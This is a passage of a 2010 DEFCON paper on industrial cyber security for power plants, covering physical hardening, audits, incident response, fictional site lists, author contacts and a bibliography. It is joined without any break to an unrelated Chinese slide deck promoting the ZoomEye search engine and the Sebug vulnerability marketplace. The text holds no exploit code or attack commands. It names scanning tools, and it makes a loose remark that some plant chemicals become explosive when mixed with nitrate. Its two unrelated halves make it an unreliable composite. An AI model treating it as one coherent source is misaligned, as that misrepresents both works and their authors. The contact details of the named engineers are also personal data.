July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Subject Matters of Hardening Efforts
Subjects of hardening any particular target may include, but are not limited to:
• Security devices (locks and keys, cameras, intrusion detection systems, etc)
• Target hardening (deterring or delaying an attack focusing on a target area or
target device)
• Hardening security for sensitive chemicals
• Damage mitigation (segmenting against physical attacks)
• Access point management(logging all authorized access and deterring,
monitoring, alerting and responding to unauthorized access attempts)
• Environmental hardening (Lighting and inherent access deterrents)
• Security personnel policies (guard houses, patrols, etc.)
• Social engineering mitigation (control communications, training, etc.)
Each subject matter presents unique design challenges and will be discussed in the
following paragraphs.
Security devices
Locks are acceptable devices to be used in adhering to physical protection
requirements to assist in controlling access to areas, facilities, and materials through
doors, gates, container lids, and similar material or personnel access points, and are
considered essential components of a physical barrier. Locks may take a number of
forms, some more secure than others; even considering a completely mechanical lock,
ease of compromise varies greatly.
Mechanical locks are not “manipulation proof" and are either combination locks, key
operated or electrically operated. These classes of locks are broken down into further
subdivisions, considering design and construction factors. Studies about the security of
mechanical locks have been done for centuries and are outside the scope of this paper.
Magnetic locks are also typically encountered in certain facilities, but are not
recommend because they usually fail open.
Cameras and microphones are critical to confirming an incident or identifying access
by unauthorized individuals. It is highly recommended that all cameras installed be the
pan, tilt, zoom (PTZ) type unless used for access control via facial recognition. The
placing of cameras needs to be well thought out, considering whether or not the
camera should be placed in a visible location as a deterrent, or hidden as an incidence
recorder. Consideration should also be given to the security of the cameras, as
discussed in section 4.4.3.3. The most cost effective method to monitor and respond to
camera output is to put the system under the control of the primary PSP guardhouse,
however, a second location internal to the plant is highly recommended. Camera
outputs should be recorded and stored for a minimum of three months, but preferably
longer. If an attack plan long in the making occurs, perhaps planned over the course of
Industrial Cyber Security: From the Perspective of the Power Sector Page 49 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
a year, a longer retention period may prove useful in analyzing and reporting the attack.
Redundant hard drive storage is the preferable method for storing security footage.
Intrusion detection systems (IDSs) should be used in conjunction with locks to deter,
detect and alert and alarm unauthorized access attempts. IDSs use sensors to detect a
change in an environment, processors to interpret the change, and output modules to
alarm in case of incident detection. Sensors vary from motion detectors (e.g. electric
field, infrared, microwave, laser, etc) to vibration or strain detectors; some systems
even use cameras for face contour recognition. Alarms can be silent, auditory, or visual
in most cases.
Additional examples of security devices include ID reader and access systems,
biometric identification devices, keypads, tokens, or even remotely operated mantrap
systems. Appropriate selection and placement of security devices is key to protecting
the plant, and a full analysis and design process should be followed. The following are
additional recommended sources to assist with the selection and placement of security
devices:
• U.S. Atomic Energy Commission Regulatory Guide 5.12, “General use of locks in
the protection and control of facilities and special nuclear materials”.
• U.S. Atomic Energy Commission Regulatory Guide 5.44, “Perimeter Intrusion
Alarm Systems”.
• Barry Wels & Rop Gonggrijps (Toool Organization), Bumping locks, Last
revision: January 26, 2005.
• The Open Organization Of Lock-pickers: http://www.toool.nl/
• http://www.wired.com/threatlevel/2009/08/electronic-locks-defeated/
Target hardening & Damage mitigation
Target hardening is a term mainly used by high level physical security experts or
counter terrorism agents. Its goal is to deter or delay an attack focusing on a target
area or a target device. Target hardening usually involves visible defenses for deterring
potential attacks. Physical target hardening is usually analogous to surface area
reduction for electronic devices previously discussed in section 4.4.2.3 B. In regards to
a power plant, target hardening should involve implementing security controls and
strengthening physical structures for an area or device for the purposes of mitigating or
segmenting any damage caused by local attacks.
Hardening security for sensitive chemicals
Power plants often use toxic or chemically explosive substances, which are required
by plant systems. Large quantities of these substances are on site, often in giant tanks
inappropriately located within the DMZ (i.e. accessible without entry into the primary
PSP or plant). Some of these substances are already controlled under environmental
protection laws, but often with little to no consideration for physical and/or electronic
Industrial Cyber Security: From the Perspective of the Power Sector Page 50 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
security. For example, urea and ammonia is used in large quantities for pollution
control in fossil plants and is extremely explosion when mixed with nitrate. Other
chemicals that are toxic can be released killing people (examples of non-cyber related
incidents would be the Bhopal disaster or the Halifax explosion). Whenever possible,
tanks containing potentially explosive or toxic chemicals should be housed within a 6
walled enclosure. Usually, placement within the plant is sufficient if the primary PSP is
well controlled.
The NRC limits maximum amount of fissile material and “special nuclear material”
(SNM) allowed on site, and regulates specific requirement for how all material is stored
and handled; see U.S. Atomic Energy Commission Regulatory Guide 5.42, “Design
considerations for minimizing residual holdup of special nuclear material in equipment
for dry process operations”. It should be noted that there is currently a bit of over
exaggerated fear related to the consequences of a nuclear plant compromise (i.e. a
nuclear explosion). An attack who’s aim is to cause a nuclear explosion with the
material on site would fail; the material has not been enriched to the needed level to
obtain critical mass, so it would effectively take a hydrogen bomb (which would be a
much larger explosion to worry about) to cause a cascading reaction. Also, the theft of
nuclear material simply isn’t feasible; a nuclear fuel assembly weighs between 700 and
1,500 pounds16
, and all material housed on site whether in the reactor or in fuel storage
is not easily moved due to the radiation hazards (at least for the next 100 years). There
is vulnerability during fuel loading, but most of the risks associated with this have
already been mitigated and the process is well controlled nationally.
Access point management
As already discussed and repeated here for effect, all access points to primary and
secondary, and certain tertiary, PSPs should monitor and log all access attempts
continuously (24/7) and electronically to avoid human error. Devices used for this
purpose must be able to effectively detect, alert, alarm, notify and often react to
attempts at and actual unauthorized access attempts. This is called access point
management and the tools necessary to accomplish these goals have already been
discussed in previous sections. Two factor authentication, as discussed previously, is
always recommended.
Environment hardening
Environment hardening is the process of strengthening everything that is common to
the plant as a whole. The environment includes the ground, the raw water supply,
trees, the air we breathe and everything in-between. Initially, one might ask how such
factors can be controlled, but the goal will become clear. Environment hardening is
inherently more difficult on a plant that is already constructed, as opposed to a plant in
16 Nuclear Energy Institute, NEI. Nuclear Power Plant Fuel. 2010. NEI.
http://www.nei.org/howitworks/nuclearpowerplantfuel/.
Industrial Cyber Security: From the Perspective of the Power Sector Page 51 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
the design phase of its life. This is because the environment around a constructed plant
has already been defined, often 50 years ago or more, and modification costs would
simply be higher compared to hardening on an unconstructed site.
Lighting is an important part of environmental hardening. The entire area contained
in the DMZ, the barb wired fence encompassing the plant, should be effectively
illuminated. Any internal or external areas monitored by cameras will, of course, require
lighting. All PSP access points require effective lighting, whether primary, secondary or
tertiary, whether an enclosure or a room.
One environmental hardening technique is designing the plant in such a way that, if
there is a release of toxic chemicals, there is little to no danger of those chemicals
being released into a water way. Another technique would be to level the ground within
the DMZ and remove all vegetation to increase observation range. Consider
strategically placing vegetation as either obstacles to overcome or as obvious hiding
points for an attack (obvious being the keyword, so that area is protected the most).
Design roads that are lined with large trees that wind while approaching the plant to
give the plant more time to respond to a suspiciously approaching vehicle.
Environmental hardening serves its purpose well.
Security personnel policies
Policies relating to security personnel are also important. These policies dictate how
a plant is monitored, patrolled and access controlled. They dictate how security
recordings and records are handled, maintained and stored. Patrol schedules should
be adhered to, but they should change on a regular basis. The gatehouse, obviously,
should not be left unguarded.
Social engineering mitigation
Mitigating social engineering attacks on an industrial scale is difficult and the
consequences of failing to do so are high. Too many people are involved in
constructing, operating and maintaining these colossal constructs. The best that can be
hoped for is effective and evolving training and qualified and intelligent employees.
Communication control is an effective strategy, but can only be applied sparingly. One
of the best ways to mitigate social engineering is to have an inherent security culture
where everyone is aware of the threat and is held accountable if unauthorized
information is disclosed. Accountability also encourages erring on the side of safety,
and verifying what information employees are allowed to disclose prior to disclosing it.
4.4.4. Security Reviews/Audits
Security reviews and penetration testing should be performed annually, at a minimum.
The process of penetration testing will include a simulation of attacks on all ESPs and
the DMZ using known hardware and software vulnerabilities, testing for incorrect
Industrial Cyber Security: From the Perspective of the Power Sector Page 52 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
configuration or inadequate hardening, and any other potential weaknesses in existing
processes.
In addition to the periodic security review cycle, vulnerability databases should be
monitored continuously for newly discovered security flaws. Publicly available resources
like the National Vulnerability Database operated by the NIST (http://nvd.nist.gov) and
the Open Source Vulnerability Database (http://odvdb.org) are valuable resources for
keeping up to date with emerging security threats. Tools to assist in vulnerability
assessments were discussed in section 4.4.2.3 B.
The review should include the following steps at a minimum the results of which
should be documented and preserved indefinitely for future audits.
• Evaluate all existing physical and electronic access points and verify that no new
unauthorized or undocumented access points have been added. Confirm that all
ESPs and PSPs are still in place and operating as intended.
• Review all physical, electronic and informational user accounts for unauthorized
changes to account information, access rights and account passwords. Verify all
account information is current, and no obsolete or unused accounts exist. Ensure
levels of access for all users are still appropriate for user responsibilities.
• Confirm hardening policies remain in place and are effective. This can be
accomplished through the use of scanning software like Nmap, Zenmap or Nessus
which can identify information about networks or devices, open ports, running
services, and firewall status. As previously discussed, care must be taken when
using software of this type on a live system to ensure that it will not interfere with
running processes.
• Ensure the master list of cyber devices is up to date.
• Verify that all procedures of the cyber security plan are being followed as intended
and the no modification to procedures or policies is required.
In the case that a vulnerability is discovered in the course of an audit, remediation of
the vulnerability should take place immediately. All vulnerabilities should be treated as
SC process vulnerability = (confidentiality, high), (integrity, high), (availability, high). If a
vulnerability cannot be remediated an exception should be created and potential effects
of the vulnerability should be mitigated to the best extend possible. Remediation should
include the following considerations.
• Temporary measures should be taken to secure the system until permanent
remediation is available.
• Patches are often available from the original equipment manufacturer (OEM) and
should be considered if feasible.
• Patches should be obtained as soon as possible and documented including the
procedure for installing the updates. The entire patching process and the patch
itself should be tested in a lab environment before installation into the live
environment to test for effectiveness and any possible interferences or side effects.
Industrial Cyber Security: From the Perspective of the Power Sector Page 53 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
• Update any existing documentation and procedures to incorporate changes made
by the remediation. Ensure all system users are aware of these changes. Rescan
for configuration data and backups and ensure all active ports, programs and
services have a valid justification.
4.4.5. Incident Response Planning
Incidence response plan, also known as an emergency response plan, should be
developed and should include a list of all level 1, 2 and 3 devices and associated
validated recovery plans and additional response action plans. Details and contact
information for whom to report the incident to and the conditions for considering an
incident reportable should be defined. All data associated with an incident should be
considered SC industrial incident = (confidentiality, high), (integrity, high), (availability,
high). All data pertaining to an incident should be kept indefinitely.
Roles and responsibilities of key response personnel need to be clearly defined and
personnel need to understand and be prepared for their role; they will not have time to
consult a procedure to determine where they are supposed to be if there is an
emergency. This is why technical and specialized cyber security training and drills are
required. Drills should occur at least once during every outage. If the control system is
robust enough, live simulations may be appropriate. Drills should include, but are by no
means limited to, incident response, immediate analysis followed by mitigation, backup
restoration and perhaps even partial evacuation.
“Awareness” training needs to occur regularly within the entire organization; this
usually takes the form of monthly emails, posters, appropriate use banners and perhaps
“lunch and learns” on the subject. Additionally, employees are required to annually train
on policies, which is usually followed by a simple test. This can have a positive effect on
security, but often policies are not enforced so the training can be a moot point. Ideally,
all employees on the site should be trained in the organizations security objectives,
common attack methodologies, common signs of attack and how to respond. The
following guides are recommended to assist in developing response plans:
• NIST SP800-61, “Computer Security Incident Handling Guide”
• NIST SP800-86, “Guide to Integrating Forensic Techniques into Incident
Response”
5. Case Study: Security Flaws and Mitigation of a PLC
An additional topic discussed during the presentation of this paper at DEFCON 18 was a
physical example of the security flaws of a discrete PLC from an undisclosed manufacturer,
and the consequences therein. A generic Ethernet capable model frequently found on the plant
floor was selected; various attack scenarios were demonstrated for the systems commonly run
by the device. The demonstration was not intended to expose any single vulnerability on the
selected device; the demonstration was intended to convey a sense of urgency in remediating
Industrial Cyber Security: From the Perspective of the Power Sector Page 54 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
security flaws and replacing devices with inherently lax security because there is currently an
opportunity to prevent a disaster before it occurs. For additional information, check the
DEFCON 18 speaker content page for the full presentation.
6. Conclusions
Although focused mainly on the power industry, the same techniques are valid for nearly
any type of large industrial plant. Many sectors are beginning to leisurely become acquainted
with a world where cyber security is truly a necessary field; this includes government, utilities,
industry, manufacturing, food production, and other large scale operations. The current languid
and often idle pace is understandable; risks and threats are increasing, vulnerabilities are often
dealt with ineffectively, yet there haven’t been any major incidences so the perceived danger
is low. This misperception was hopefully alleviated for the reader by seeing security flaws
inherent in process control networks and devices, by seeing both theoretical and real world
examples of vulnerabilities and attack scenarios that could be exploited locally or remotely
(intentionally or unintentionally) and by examining a generally bleak security situation. It should
be clear to the reader that a modern power plant needs to be built with security as a primary
goal, with security inherent in the design.
Policies required to meet these demands are currently often weak, unenforced or
predictable and may need significant modification by subject matter experts. Distinct
procedures and processes for managing both the electronic and the physical security of a
large industrial facility were presented as well as how to manage associated change, working
policies into existing procedures whenever possible. Governances were briefly discussed; the
reader should take away an understanding of the complexity of compliance and an
understanding of the need to simplify and quantify overlapping requirements by creating
effective and distinct policies and procedures, automating whenever possible.
The defense-in-depth military tactic & strategy should be applied liberally to systems via
projects, operations and maintenance using some form of every electronic and physical
security hardening subject previously discussed on all levels of security. The reader should
now have an understanding of the importance of designing a coherent, comprehensive, open
ended and easily automatable method for the classification of sites, systems and devices
based on severity of attack, likeliness of attack and ease of attack as well as the categorization
of information. The reader should fully understand how classifications can be used to their
advantage to provide cost savings and mitigate highest risk first. The methods, techniques and
tools for mitigation of risk on all levels were presented, and the importance of varying these
tactics should be clear. Due to the high risk to the plant and the bulk electric system, and large
scope of any compliance effort, it is far better to set a goal of exceeding compliance using
automated systems rather than meeting compliance using manual labor intensive methods;
this is the only real approach to guarantee compliance and effectively maintain a coherent
security strategy.
The challenge is great, the risks are great, and choices need to be made. In order to
effectively secure our grid, we will need leadership and continuity from the top down of the
Industrial Cyber Security: From the Perspective of the Power Sector Page 55 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
government’s chain of command as well as from the top down of the power sector’s chain of
command. We need to close the divide between the IT world and the industrial world. The risks
are increasing continuously, as they always do as technology progresses. The paper was not
intended to expose any single vulnerability on any given site; the paper was intended to
convey a sense of urgency in remediating systemic security flaws and replacing devices with
inherently lax security because there is currently an opportunity to prevent a disaster before it
occurs. With a concentrated effort and increased awareness, the security of the control
systems in an industrial plant can be brought to up to the standard deserving of the nation’s
most important infrastructure, and it’s time we do so.
"The release of atom power has changed everything except our way of thinking...the solution to this
problem lies in the heart of mankind. If only I had known, I should have become a watchmaker."
-Albert Einstein
Industrial Cyber Security: From the Perspective of the Power Sector Page 56 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
7. Appendix A: Examples
1. Drawing Example: typical, simplified and reduced control network diagram prior to any
significant compliance efforts.
Industrial Cyber Security: From the Perspective of the Power Sector Page 57 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
2. Sites List: factious facilities list and associated properties.
Site Name
Location
Address
Type
Peak
Load
Contact Info
Q0
Classification
Twin
Peaks
Power
Twin
Peaks, WA
123 Red
Rum Way
Coal
100 MW
Dale Cooper
Plant Manager
314-159-2652
NO
Non-Critical Site
Springfield
Nuclear
Springfield,
USA
742
Evergreen
Terrace
Nuclear
2,000 MW
Homer Simpson
Plant Manager
555-555-5555
YES
Critical Site
Gotham
Sub-
Station
Gotham,
NY
777 Fake St
Sub-
Station
Bruce Wayne
Station Operator
800-588-2300
YES
Critical Site
Disney
Power
Disneyland,
USA
111 Fun Blvd
Dwarf
Bio-Mass 1,200 MW
Mickey Mouse
Plant Manager
123-456-7890
NO
Non-Critical Site
South Park
Power
South Park,
CO
900 Mr.
Hanky's Way
Smug
2,000 MW
Eric Cartman
Safety Coordinator
867-5309
YES
Critical Site
3. Systems List – approximately realistic systems list (5% of the list is shown)
System
Name
Description
Contact Info
Q1
Q2
Classification
DCS
Coordinates Controls of all Sub Systems,
distributed device.
Ed Vedder
Plant Operations
777-6666-5000
YES
YES
Critical Cyber
System
Boiler Feed
Water
Main feed water to steam generator, only
indicating devices.
Tim Timson
Water Maintenance
777-666-5570
YES
YES
Critical Cyber
System
Instrument
Air
Supplies all instrument air to the plant, via
2 redundant systems, local unsecured
panel
Tim Timson
Water Maintenance
777-666-5570
YES
YES
Critical Cyber
System
Raw Water
Supply
Primary and redundant systems, local
operator station
Tim Timson
Water Maintenance
777-666-5570
YES
YES
Critical Cyber
System
SNCR
Pollution Reduction
Bill Billson
Boiler Maintenance
777-666-5540
YES
NO
Non- Critical
Cyber System
CEMS
Continuous Emissions Monitoring
Equipment
Bill Billson
Boiler Maintenance
777-666-5540
YES
NO
Non- Critical
Cyber System
Mercury
Baghouse
Mercury pollution reduction system via
carbon injection
Bill Billson
Boiler Maintenance
777-666-5540
YES
NO
Non- Critical
Cyber System
Air
Preheaters
Mechanically driven heat exchangers
Bill Billson
Boiler Maintenance
777-666-5540
NO
YES
Critical Non-
Cyber System
Industrial Cyber Security: From the Perspective of the Power Sector Page 58 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
4. Devices List – approximately realistic device list (10% of the list is shown)
Industrial Cyber Security: From the Perspective of the Power Sector Page 59 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
8. Special Thanks
Special thanks to the reviewers who took time out of their busy schedules to review this
paper before its completion, to the experts who provided input and to the others who
contributed in other ways. We value their feedback and support tremendously: Barry Kimsey,
Randall Iserman, and Dave Schlessman.
9. Contact Information
Wade Polk
Controls Engineering & Industrial Cyber Security
[email protected]
Phone (direct): 423-785-5467
Cell: 850-292-9333
Fax: 423-757-5869
Jaroslav Novak
Controls Engineer & Startup Engineer
[email protected]
423-785-5464 (OFFICE)
423-757-5869 (FAX)
Paul Malkewicz
Controls Engineering & Industrial Cyber Security
[email protected]
Phone (direct): 708-449-4165
Industrial Cyber Security: From the Perspective of the Power Sector Page 60 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
10. Definitions
•
BOM: Bill of Materials, a list of items included as part of a package
•
CAP: Corrective Action Program gives requirements for identifying, reporting, evaluating and correcting
problems with a plant.
•
CIP: Critical Infrastructure Protection, standards created by the North American Electric Reliability
Corporation to regulate non-nuclear power plants.
•
Device: Usually refers to a device in the lowest level of automation, either a sensor or a control valve.
See Also Cyber Device.
•
Control System: A set of devices used to automate the operation of processes and pieces of equipment.
•
Cyber Device (Subjective Definition): A programmable electronic device whose primary programming
interface is not implemented using a local non electronic method such as a keypad.
•
DCS: Distributed Control System, a type of control device whose components are typically distributed
throughout a plant, but work together to control a process. DCSs usually include PC based HMIs.
•
Defense In Depth: A security strategy for slowing down or stopping an attack. Defense in Depth
assumes one or more security precautions will fail and implements one or more layers of back-up
precautions.
•
DMZ: Demilitarized Zone, a portion of a plant’s network which connects an untrusted zone to a trusted
zone.
•
ESP: Electronic Security Perimeter, a virtual enclosure around a critical digital asset. Access to and from
the ESP is carefully monitored and controlled.
•
Hardening: ensuring that only those ports, programs, and services required for normal and emergency
operations are enabled, ensuring the security policies are met and to add or strengthen security
mechanisms (e.g. virus protection) to result in a more secure system than initial examination revealed.
Hardening can be both physical and electronic.
•
HMI: Human Machine Interface, a device which allows an operator to communicate with and receive
feedback from a system by means of reading from or sending information to the system.
•
IDPS: Intrusion Detection and Prevention Software, a system that monitors for unusual, malicious or
unauthorized activity and reports.
•
NERC: North American Electric Reliability Corporation, organization which provides standards for and
oversight of the operation of power plants in North America.
•
NIST: National institute of Standards and Technology, government organization which creates standards
for a number of topics and fields.
•
NRC: Nuclear Regulatory Commission, body governing the operation of nuclear power plants in the
United States.
•
OPC: OLE for Process Control, a set of standards for communication between automation devices in an
industrial plant.
Industrial Cyber Security: From the Perspective of the Power Sector Page 61 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
•
PLC: Programmable Logic Controller, a device capable of performing control output based on given
inputs and a programmed set of sequential logic.
•
PSP: Physical Security Perimeter, a physical enclosure around a critical area or asset. Access to and
from the PSP is carefully monitored and controlled
•
SCADA: Supervisory Control and Data Acquisition, typically higher level control devices which
coordinates between several processes and displays and records information about the operation of the
entire plant.
•
Surface Area Reduction: A type of hardening for electronic devices that involves removing unnecessary
software and services and shutting down unused ports.
•
Trusted Zone: The portion of a network where communications are assumed to be safe.
•
Untrusted Zone: The portion of a network where communications are assumed to be unsafe.
Industrial Cyber Security: From the Perspective of the Power Sector Page 62 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
11. Bibliography
1. ANSI/ISA. NSI/ISA-88.01-1995, Batch Control, Part 1: Models and Terminology. Research
Triangle Park, North Carolina: The Instrumentation, Systems and Automation Society, 1995.
2. Bridis, Ted. "Government video shows mock hacker attack." MSNBC. 26 Sep. 2007:
http://www.msnbc.msn.com/id/21000386/%3E..
3. Center for Strategic and International Studies. Securing Cyberspace for the 44th Presidency.
Washington: GPO, 2008.
4. Computer Security Division, National Institute of Standards and Technology (NIST). FIPS
PUB 199: Standards for Security Categorization of Federal Information and Information
Systems. Gaithersburg, MD: Federal Information Processing Standards (FIPS), 2004.
5. Computer Security Division, National Institute of Standards and Technology (NIST). FIPS
PUB 200: Minimum Security Requirements for Federal Information and Information
Systems. Gaithersburg, MD: Federal Information Processing Standards (FIPS), 2006.
6. Computer Security Division, National Institute of Standards and Technology (NIST). NIST
Special Publication 800-37: Guide for Applying the Risk Management Framework to Federal
Information Systems. Gaithersburg, MD: National Institute of Standards and Technology
(NIST), 2010.
7. Computer Security Division, National Institute of Standards and Technology. NIST Special
Publication 800-53A: Guide for Assessing the Security Controls in Federal Information
Systems and Organizations. Gaithersburg, MD: National Institute of Standards and
Technology (NIST), 2010.
8. G`orman, Siobhan. "Electricity Grid in U.S. Penetrated By Spies." Wall Street Journal April
8 (2009): http://online.wsj.com/article/SB123914805204099085.html.
9. Gary, Stoneburner, et al. NIST Special Publication 800-30: Risk Management Guide for
Information Technology Systems. Gaithersburg, MD: National Institute of Standards and
Technology (NIST), 2002.
10. Kent, Karen, et al. NIST Special Publication 800-86: Guide to Integrating Forensic
Techniques into Incident Response. Gaithersburg, MD: National Institute of Standards and
Technology (NIST), 2006.
11. Liptak, Bela G. Instrument Engineers Handbook: Process Control and Optimization. Boca
Raton, FL : CRC Press, 2006.
12. Lyon, Gordon. Security Tools. Nmap Developer. 2010. http://insecure.org/.
13. Lyon, Gordon. Top 100 Security Tools. Nmap Developer. 2010. http://sectools.org/.
Industrial Cyber Security: From the Perspective of the Power Sector Page 63 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
14. Mell, Peter, et al. NIST Special Publication 800-40: Creating a Patch and Vulnerability
Management Program and Organizations. Gaithersburg, MD: National Institute of Standards
and Technology (NIST), 2005.
15. Minkel, JR. "The 2003 Northeast Blackout--Five Years Later." Scientific American. 13 Aug.
2008: http://www.scientificamerican.com/article.cfm?id=2003-blackout-five-years-later.
16. Mojain, Dan. "Hackers Victimize Cal-ISO." Los Angeles Times. 9 Jan. 2001:
http://articles.latimes.com/2001/jun/09/news/mn-8294.
17. North American Electric Reliability Corporation, NERC. CIP-001a: Sabotage Reporting.
Washington, DC : NERC, 2010.
18. North American Electric Reliability Corporation, NERC. CIP-002-3: Critical Infrastructure
Protection. Washington, DC : NERC, 2009.
19. North American Electric Reliability Corporation, NERC. CIP-003-3: Security Management
Controls. Washington, DC : NERC, 2009.
20. North American Electric Reliability Corporation, NERC. CIP-004-3: Personnel & Training.
Washington, DC : NERC, 2009.
21. North American Electric Reliability Corporation, NERC. CIP-005-3: Electronic Security
Perimeter(s). Washington, DC : NERC, 2009.
22. North American Electric Reliability Corporation, NERC. CIP-006-3: Physical Security of
Critical Cyber Assets. Washington, DC : NERC, 2009.
23. North American Electric Reliability Corporation, NERC. CIP-007-3:Systems Security
Management. Washington, DC : NERC, 2009.
24. North American Electric Reliability Corporation, NERC. CIP-008-3: Incident Reporting and
Response Planning. Washington, DC : NERC, 2009.
25. North American Electric Reliability Corporation, NERC. CIP-009-3: Recovery Plans for
Critical Cyber Assets. Washington, DC : NERC, 2009.
26. Nuclear Energy Institute, NEI. Nuclear Power Plant Fuel. 2010. NEI.
http://www.nei.org/howitworks/nuclearpowerplantfuel/.
27. Nuclear Regulatory Commission, United States. "NRC Issues Information Notice On
Potential Of Nuclear Power Plant Network To Worm Infection." Office of Public Affairs. 2
Sep. 2003: http://www.nrc.gov/reading-rm/doc-collections/news/2003/03-108.html.
28. RISI. 2009 Report on Control System Cyber Security Incidence Released. 30 Mar. 2010.
Repository of Industrial Security Incidents (RISI).
http://www.securityincidents.org/members/news.asp?ID=13.
Industrial Cyber Security: From the Perspective of the Power Sector Page 64 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
29. Ross, Ron, et al. NIST Special Publication 800-53: Recommended Security Controls for
Federal Information Systems. Gaithersburg, MD: National Institute of Standards and
Technology (NIST), 2009.
30. Scarfone, Karen, et al. NIST Special Publication 800-61: Computer Security Incident
Handling Guide. Gaithersburg, MD: National Institute of Standards and Technology (NIST),
2008.
31. Singel, Ryan. "Industrial Control Systems Killed Once and Will Again, Experts Warn.."
Wired. 9 Apr. 2008: http://www.wired.com/threatlevel/2008/04/industrial-cont/.
32. Smith, Randy. Windows Security Setting Guidance. Monterey Technology Group,
Inc. 2010. http://www.ultimatewindowssecurity.com/wiki/WindowsSecuritySettings/.
33. Sparks, Charles "Black Viper". Black Viper's Web Site. 2010. http://www.blackviper.com/.
34. Stine, Kevin, et al. NIST Special Publication 800-60 Volume I: Guide for Mapping Types of
Information and Information Systems to Security Categories. Gaithersburg, MD: National
Institute of Standards and Technology (NIST), 2008.
35. Stine, Kevin, et al. NIST Special Publication 800-60 Volume II: Appendices to Guide for
Mapping Types of Information and Information Systems to Security Categories.
Gaithersburg, MD: National Institute of Standards and Technology (NIST), 2008.
36. Stouffer, Keith, et al. NIST Special Publication 800-82: Guide to Industrial Control Systems
(ICS) Security. Gaithersburg, MD: National Institute of Standards and Technology (NIST),
2008.
37. The White House. Cyberspace Policy Review: Assuring a Trusted and Resilient Information
and Communications Infrastructure. Washington: GPO, 2009.
38. Toool, The Open Organization of Lockpickers. Homepage. 2009. http://toool.us/.
39. United States Atomic Energy Commission. Regulatory Guide 5.12: General Use of Locks in
the Protection and Control of Facilities and Special Nuclear Materials. Washington: GPO,
1973.
40. United States Atomic Energy Commission. Regulatory Guide 5.42: Design Considerations
for Minimizing Residual Holdup of Special Nuclear Materials in Equipment for Dry Process
Operations. Washington: GPO, 1975.
41. United States Nuclear Regulatory Commission (NRC) Regulations. 10 CFR Title 10, Code
of Federal Regulations. Washington: GPO, 2010.
42. United States Nuclear Regulatory Commission (NRC) Regulations. Regulatory Guide 5.71:
Cyber Security Programs For Nuclear Facilities. Washington: GPO, 2010.
Industrial Cyber Security: From the Perspective of the Power Sector Page 65 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
43. United States Nuclear Regulatory Commission (NRC) Regulations. Regulatory Guide 5.44:
Perimeter Intrusion Alarm Systems. Washington: GPO, 1997.
44. Wels, Barry and Rop Gonggrijp. Bumping Locks. http://www.toool.nl/bumping.pdf: Tool-
The Open Organization Of Lockpickers, 2005.
45. Zetter, Kim. Electronic High-Security Locks Easily Defeated at DefCon. 2 Aug. 2009. Wired
Magazine. http://www.wired.com/threatlevel/2009/08/electronic-locks-defeated/.
46. Ziegler, Kelly. "Blackout’s 5th Anniversary Marks Progress, New Challenges Ahead ."
North American Electric Reliability Corporation (NERC). 14 Aug. 2008:
http://www.nerc.com/news_pr.php?npr=142. | pdf |
知道创宇漏洞社区计划
知道创宇 张祖优(Fooying)
S
Z
漏洞社区
KCon
追求干货有趣的
黑客大会
Sebug
聚焦漏洞,提供漏洞威
胁情报信息与交易平台
ZoomEye
网络空间搜索
引擎,全球漏
洞感知与预警
K
过去
在过去,基于 ZoomEye 我们做了许多事
组件识别
通过自主研发引擎,我
们对网络空间进行了重
要端口探测与组件识别
开放搜索
我们公开了许多研究成
果,并开放海量结果数
据提供大家搜索
全球路由器后门探测
2014年2月份,我们针对
全球路由器进行全网扫描
并发出安全预警
摄像头漏洞探测
2014年3月,针对国外黑帽
大会曝光的家庭摄像头漏洞
进行全网的探测并发出预警
心脏出血
2014年4月,针对心脏出
血漏洞进行全球探测并绘
制全球范围分布,2015年
4月,进行一周年普查
破壳漏洞
2014年9月份,应急响应”破
壳漏洞”,第一时间将国内受
影响情况统计并预警
这是大家所能看到的
上线专题
工控专题、漏洞专题等
Dork 闭环
Dork 是我们和网络空间交
流的语言,你的每一次搜
索都将诞生一个 Dork
背后的这些
扫描能力提升约4倍
端口覆盖提升 1 倍
识别组件增加 30 %
扫描速率提升约 3 倍
数据存储量增加 4 倍以上
还有更多
组件指纹识别
引擎
Wmap/Xmap
调度框架
Lucifer
高性能存储
Hadoop/ES
数据深度
挖掘
可视化
组件
架构
Sebug
7月7日开始内测
今日起正式公测
漏洞集市
100 万补贴,欢
迎大家到我们平
台进行提交漏洞、
PoC、兑换查看
等
漏洞集市
漏洞基本字段补充
详情补充
PoC/Exp 提交
详情与 PoC 兑换
兑换分成
交易动态
更多 ZoomEye 功能与奖励
ZoomEye 暗物质消除计划、 ZoomEye X计划、
Dork 提交奖励计划等
漏洞集市
100 万补贴,欢
迎大家到我们平
台进行提交漏洞、
PoC、兑换查看
等
ZoomEye 更多功能与计划
ZoomEye
暗物质消
除计划
ZoomEye
X 计划
Dork 提交
奖励计划
Pocsuite
开放我们的 PoC 标准,开
源我们的框架
